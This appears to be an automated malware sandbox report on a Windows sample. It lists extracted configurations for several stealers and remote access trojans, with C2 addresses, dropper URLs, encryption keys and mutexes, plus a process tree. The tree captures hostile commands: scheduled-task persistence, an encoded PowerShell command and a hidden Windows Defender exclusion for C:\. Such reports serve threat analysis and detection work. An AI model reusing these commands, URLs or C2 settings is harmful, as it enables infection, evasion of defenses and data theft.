Resubmissions
27/09/2026, 14:21
260927-rn8hns1yhz1015/09/2026, 11:13
260915-nbjf8sgj9y13/09/2026, 12:17
260913-pfz58aba391011/09/2026, 14:17
260911-rltazathnb11/09/2026, 14:10
260911-rgr74sw1hv1007/09/2026, 14:52
260907-r8tv1sxvat06/09/2026, 18:39
260906-xarwnaysdx1006/09/2026, 18:38
260906-xadn2azgqc06/09/2026, 16:17
260906-trmfqaxgkf1006/09/2026, 16:09
260906-tl37aaxfma10Analysis
- max time kernel
457s - max time network
903s - platform
windows11-21h2_x64 - resource
win11-20251015-en - resource tags
- submitted
06/12/2025, 00:25
General
- Target 2to1ep.exe
- Size 13.1MB
- Sample251206-aq5fcsbt4e
- SHA256 65ba3988d38f83b9ee1f31cafa5bd37dc6b72279f5618aac94d71a904efa0cac
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://pngup.com/VmOv/MSI_PRO_with_b64.png
-
exe.dropper
https://pngup.com/VmOv/MSI_PRO_with_b64.png
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f
-
exe.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f
-
exe.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f
-
exe.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2FRODA%20UPDTATES%2027%20OCTOBER%2FRODA05NOVIEMBRE%2Fskydll.txt?alt=media&token=4bdbc53a-6cc5-4e00-8247-fd9894d6a32f
Extracted
Family
-
svcstealer
C2
-
http://62.60.226.159/zbuyowgn/data.php
-
http://158.94.208.102/diamo/data.php
-
http://196.251.107.23/diamo/data.php
-
http://178.16.53.7/diamo/data.php
-
http://196.251.107.61/diamo/data.php
Attributes
-
bot_urls
http://196.251.107.23/bot64.dll
-
build_id
naked
-
srv_delay
1
-
srv_retry
1
Extracted
Family
-
runningrat
Extracted
Family
-
quasar
Version
-
1.3.0.0
Botnet
-
Office04
C2
-
193.111.78.83:1604
Mutex
-
QSR_MUTEX_xXF1IgpAtUxiWT7xmA
Attributes
-
encryption_key
kIBUIOesytHZzXfMXjzQ
-
install_name
Client.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Extracted
Family
-
stealc
Botnet
-
vvc
C2
-
http://196.251.107.23
Attributes
-
url_path
/7ffc7a279c17c091.php
rc4.plain
Extracted
Family
-
metasploit
Version
-
windows/reverse_tcp
C2
-
193.42.62.196:7171
Extracted
Family
-
bdaejec
C2
-
ddos.dnsnb8.net
Extracted
Family
-
xworm
Version
-
5.0
C2
-
151.243.218.164:7007
-
:2017
-
B1OqOBScfnQ4Gk4c60H4Zw==:10
Mutex
-
U9QUEjE9dAiY1T1D
Attributes
-
Install_directory
%AppData%
-
install_file
OneDrive.Sync.Service.exe
aes.plain
Signatures
- Bdaejec
Bdaejec is a backdoor written in C++.
- Bdaejec family
- Detect Xworm Payload 2 IoCs
- Detects Bdaejec Backdoor. 1 IoCs
Bdaejec is backdoor written in C++.
- Detects DonutLoader 3 IoCs
- Detects MaskGramStealer payload 1 IoCs
- DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Donutloader family
- MaskGramStealer
MaskGramStealer is an information stealer.
- Maskgram_stealer family
- MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
- Metasploit family
- NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
- Nanocore family
- Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Quasar RAT 10 IoCs
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 1 IoCs
- RunningRat
RunningRat is a remote access trojan first seen in 2018.
- RunningRat payload 1 IoCs
- Runningrat family
- Stealc
Stealc is an infostealer written in C++.
- Stealc family
- SvcStealer, Diamotrix
SvcStealer aka Diamotrix Clipper is a stealer/downloader written in C++.
- Svcstealer family
- UAC bypass 3 TTPs 2 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Zloader family
- Zloader, Terdot, DELoader, ZeusSphinx
Zloader is a malware strain that was initially discovered back in August 2015.
- Enumerates VirtualBox registry keys 2 TTPs 10 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 5 IoCs
- Badlisted process makes network request 64 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file 64 IoCs
- Looks for VMWare Tools registry key 2 TTPs 5 IoCs
- Looks for VMWare services registry key. 1 TTPs 10 IoCs
- Manipulates Digital Signatures 1 TTPs 2 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.
- Modifies Windows Firewall 2 TTPs 5 IoCs
- Server Software Component: Terminal Services DLL 1 TTPs 5 IoCs
- Sets service image path in registry 2 TTPs 5 IoCs
- ACProtect 1.3x - 1.4x DLL software 1 IoCs
Detects file using ACProtect software.
- Checks BIOS information in registry 2 TTPs 5 IoCs
BIOS information is often read in order to detect sandboxing environments.
- ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
- Creates new service(s) 2 TTPs
- Drops startup file 2 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 64 IoCs
- Indirect Command Execution 1 TTPs 12 IoCs
Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.
- Loads dropped DLL 64 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Themida packer 2 IoCs
Detects Themida, an advanced Windows software protection system.
- Use of msiexec (install) with remote resource 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 22 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 3 IoCs
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 14 IoCs
- Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Service Discovery 1 TTPs 8 IoCs
Attempt to gather information on host's network.
- Power Settings 1 TTPs 6 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs
Suspicious Windows Authentication Registry Modification.
- Drops autorun.inf file 1 TTPs 2 IoCs
Malware can abuse Windows Autorun to spread further via attached volumes.
- Drops file in System32 directory 64 IoCs
- Suspicious use of SetThreadContext 19 IoCs
- UPX packed file 12 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 22 IoCs
- Launches sc.exe 9 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Access Token Manipulation: Create Process with Token 1 TTPs 2 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
- Event Triggered Execution: Installer Packages 2 TTPs 12 IoCs
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 30 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Modifies trusted root certificate store through registry 1 TTPs 1 IoCs
A root certificate was added, modified, or removed in the trusted certificate store registry paths.
- Program crash 4 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 17 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Inno Setup is an open-source installation builder for Windows applications. 2 IoCs
Inno Setup installer
- NSIS installer 2 IoCs
- Checks SCSI registry key(s) 3 TTPs 26 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 33 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 3 IoCs
- Enumerates system info in registry 2 TTPs 20 IoCs
- Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
- Kills process with taskkill 6 IoCs
- Modifies Internet Explorer settings 1 TTPs 3 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 64 IoCs
- Modifies system certificate store 2 TTPs 9 IoCs
- Opens file in notepad (likely ransom note) 2 IoCs
- Runs .reg file with regedit 2 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 33 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 4 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 3 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 34 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 1 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"3⤵
- Downloads MZ/PE file
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F5⤵
- Quasar RAT
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe4⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe5⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exesvchost.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"5⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc minute /tn "Windows Defender Security" /tr "C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\yyy.exeyyy.exe4⤵
- Executes dropped EXE
- Enumerates connected drives
- Drops autorun.inf file
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\1_240622781.exe"C:\Users\Admin\AppData\Local\Temp\1_240622781.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\2_240643968.exe"C:\Users\Admin\AppData\Local\Temp\2_240643968.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\3_240661250.exe"C:\Users\Admin\AppData\Local\Temp\3_240661250.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\4_240677453.exe"C:\Users\Admin\AppData\Local\Temp\4_240677453.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\syshost.exe"C:\Users\Admin\AppData\Roaming\syshost.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\5_240696203.exe"C:\Users\Admin\AppData\Local\Temp\5_240696203.exe"5⤵
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\6_240725343.exe"C:\Users\Admin\AppData\Local\Temp\6_240725343.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4QEMP74090.tmp\6_240725343.tmp"C:\Users\Admin\AppData\Local\Temp\is-4QEMP74090.tmp\6_240725343.tmp" /SL5="$1094E,3902226,836608,C:\Users\Admin\AppData\Local\Temp\6_240725343.exe"6⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\7_240746000.exe"C:\Users\Admin\AppData\Local\Temp\7_240746000.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\xx.exexx.exe4⤵
- Executes dropped EXE
- Enumerates connected drives
- Drops autorun.inf file
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\1_240621859.exe"C:\Users\Admin\AppData\Local\Temp\1_240621859.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\2_240638046.exe"C:\Users\Admin\AppData\Local\Temp\2_240638046.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\3_240649937.exe"C:\Users\Admin\AppData\Local\Temp\3_240649937.exe"5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\4_240664984.exe"C:\Users\Admin\AppData\Local\Temp\4_240664984.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\syshost.exe"C:\Users\Admin\AppData\Roaming\syshost.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\5_240675843.exe"C:\Users\Admin\AppData\Local\Temp\5_240675843.exe"5⤵
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\6_240690281.exe"C:\Users\Admin\AppData\Local\Temp\6_240690281.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-N7C1YYBK1D.tmp\6_240690281.tmp"C:\Users\Admin\AppData\Local\Temp\is-N7C1YYBK1D.tmp\6_240690281.tmp" /SL5="$10822,3902226,836608,C:\Users\Admin\AppData\Local\Temp\6_240690281.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\7_240722359.exe"C:\Users\Admin\AppData\Local\Temp\7_240722359.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\gJxIPCc.exegJxIPCc.exe4⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwA4ADYANgBpAGsAawBrAGwALgBlAHgAZQAnACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADgANgA2AGkAawBrAGsAbAAuAGUAeABlACcAKQAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAE8AbgBjAGUAIAAtAEEAdAAgACgARwBlAHQALQBEAGEAdABlACkAIAAtAFIAZQBwAGUAdABpAHQAaQBvAG4ASQBuAHQAZQByAHYAYQBsACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ATQBpAG4AdQB0AGUAcwAgADUAKQApACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAFMAZQBjAG8AbgBkAHMAIAAwACkAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACkAIAAtAEYAbwByAGMAZQA=5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\2FgduM7.exe2FgduM7.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\a\2FgduM7.exe"C:\Users\Admin\AppData\Local\Temp\a\2FgduM7.exe"5⤵
- Executes dropped EXE
- Checks processor information in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"6⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd3cc8dcf8,0x7ffd3cc8dd04,0x7ffd3cc8dd107⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"6⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ffd3cc8dcf8,0x7ffd3cc8dd04,0x7ffd3cc8dd107⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1488,i,13395870632576055299,18283871053096880075,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=2396 /prefetch:117⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2280,i,13395870632576055299,18283871053096880075,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=2272 /prefetch:27⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=1952,i,13395870632576055299,18283871053096880075,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=2428 /prefetch:137⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"6⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd8,0x104,0x7ffd3cc8dcf8,0x7ffd3cc8dd04,0x7ffd3cc8dd107⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2460,i,14773082822955504959,8309606770170447992,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=2432 /prefetch:27⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1808,i,14773082822955504959,8309606770170447992,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=2572 /prefetch:117⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=1984,i,14773082822955504959,8309606770170447992,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=3736 /prefetch:137⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2972,i,14773082822955504959,8309606770170447992,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=3764 /prefetch:17⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2980,i,14773082822955504959,8309606770170447992,262144 --variations-seed-version=20251015-090059.375000 --mojo-platform-channel-handle=3712 /prefetch:17⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"6⤵
- Enumerates system info in registry
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2f4,0x2f8,0x2fc,0x2f0,0x370,0x7ffd3afcf208,0x7ffd3afcf214,0x7ffd3afcf2207⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2640,i,16791474074081270369,10881771012024675520,262144 --variations-seed-version --mojo-platform-channel-handle=2624 /prefetch:27⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=2124,i,16791474074081270369,10881771012024675520,262144 --variations-seed-version --mojo-platform-channel-handle=3176 /prefetch:117⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\cBNUbKE.execBNUbKE.exe4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a\actu.exeactu.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList '-WindowStyle Hidden -Command Add-MpPreference -ExclusionPath C:\' -Verb RunAs"5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command Add-MpPreference -ExclusionPath C:\6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
